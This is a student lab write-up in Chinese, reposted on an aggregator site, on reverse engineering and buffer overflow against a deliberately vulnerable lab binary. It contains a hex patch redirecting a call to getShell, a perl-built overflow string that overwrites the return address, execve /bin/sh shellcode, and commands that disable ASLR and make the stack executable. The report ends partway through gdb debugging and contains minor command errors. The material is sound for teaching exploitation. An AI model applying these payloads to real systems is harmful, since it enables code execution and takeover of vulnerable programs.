201555332盛照宗—网络对抗实验1—逆向与bof基础

Posted besti5332

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了201555332盛照宗—网络对抗实验1—逆向与bof基础相关的知识,希望对你有一定的参考价值。

盛照宗—网络对抗实验1—逆向与bof基础

实验目的

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验内容

  • 三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

  • 这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

实验过程

1.安装更新

系统升级实际上是一个软件包的删除与重装过程,在更新的过程中,apt-get会自动删除旧的软件包,以此在系统升级时务必更新软件包的索引文件.

在升级系统升级过程中,原有的系统内核软件会保留在系统中,以便系统升级过程中在使用新的系统内核引导系统出现异常时,使得我们能使用旧的内核继续引导系统。

  • 1、更新软件包索引文件

    sudo apt-get install update

  • 2、更新系统

    sudo apt-get update

  • 3.安装更新。

    sudo apt-get upgrade

2.安装32位运行库

技术分享图片

  • 1.解决资源不可用问题

    无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)

无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?

输入命令

sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
  • 2.下载lib32ncurses5库

    apt-get install lib32ncurses5

  • 3.运行程序

    ./pwn20155332

3.直接修改程序机器指令,改变程序运行过程

  • 1.反汇编代码

    objdump -d pwn20155332

0804847d <getShell>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <[email protected]>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <foo>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 38                sub    $0x38,%esp
 8048497:   8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:   89 04 24                mov    %eax,(%esp)
 804849d:   e8 8e fe ff ff          call   8048330 <[email protected]>
 80484a2:   8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:   89 04 24                mov    %eax,(%esp)
 80484a8:   e8 93 fe ff ff          call   8048340 <[email protected]>
 80484ad:   c9                      leave  
 80484ae:   c3                      ret    

080484af <main>:
 80484af:   55                      push   %ebp
 80484b0:   89 e5                   mov    %esp,%ebp
 80484b2:   83 e4 f0                and    $0xfffffff0,%esp
 80484b5:   e8 d7 ff ff ff          call   8048491 <foo>
 80484ba:   b8 00 00 00 00          mov    $0x0,%eax
 80484bf:   c9                      leave  
 80484c0:   c3                      ret    
 80484c1:   66 90                   xchg   %ax,%ax
 80484c3:   66 90                   xchg   %ax,%ax
 80484c5:   66 90                   xchg   %ax,%ax
 80484c7:   66 90                   xchg   %ax,%ax
 80484c9:   66 90                   xchg   %ax,%ax
 80484cb:   66 90                   xchg   %ax,%ax
 80484cd:   66 90                   xchg   %ax,%ax
 80484cf:   90                      nop
  • 2.分析代码

  • 先看第12行,"call 8048491
  • 是说这条指令将调用位于地址8048491处的foo函数;
  • 其对应机器指令为“e8 d7ffffff”,e8即跳转之意。

    • 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,
    • main函数调用foo,对应机器指令为“ e8 d7ffffff”,
  • 那我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。
  • 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。

    • 下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。
  • 3.修改程序

[email protected]:~# cp pwn1 pwn2
[email protected]:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
  • 4.验证结果

    objdump -d pwn20155332
    ```
    080484af

    :
    80484af: 55 push %ebp
    80484b0: 89 e5 mov %esp,%ebp
    80484b2: 83 e4 f0 and $0xfffffff0,%esp
    80484b5: e8 c3 ff ff ff call 804847d
我们发现5行`80484b5: e8 c3 ff ff ff          call   804847d <getShell>`和原来调用的函数<foo>不一样了。执行后结果也不一样了。

![](https://i.imgur.com/6CSvtCZ.png)

### 4.通过构造输入参数,造成BOF攻击,改变程序执行流程

- 1.运行程序
> ./pwn20155332

- 2.用gdb工具调试

![](https://i.imgur.com/GALivut.png)

- 3.构造输入字符串
> perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input

- 4.然后将input的输入,通过管道符“|”,作为pwn20155332的输入。
> (cat input; cat) | ./pwn1

- 5.可以发现此时已经获取shell权限。



### 5.注入Shellcode并执行 


打开一号终端
- 1.修改设置

execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //确认已经关闭

- 2.构造要注入的payload。
   
    perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode

- 3.注入这段攻击buf
> (cat input_shellcode;cat) | ./pwn1

打开二号终端
- 4.找到pwn20155332的进程号

ps -ef | grep pwn20155332 //找到pwn20155332的进程号是:27728

- 5.进入gdb调试

attach 27728
disassemble foo
break *0x080484ae

以上是关于201555332盛照宗—网络对抗实验1—逆向与bof基础的主要内容,如果未能解决你的问题,请参考以下文章

20155201 李卓雯 《网络对抗技术》实验一 逆向及Bof基础

20145235李涛《网络对抗》逆向及Bof基础

20145311王亦徐《网络对抗技术》MAL_逆向与Bof基础

20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础

网络对抗技术——网络嗅探与欺骗(第三部分)

网络对抗技术——网络嗅探与欺骗(第三部分)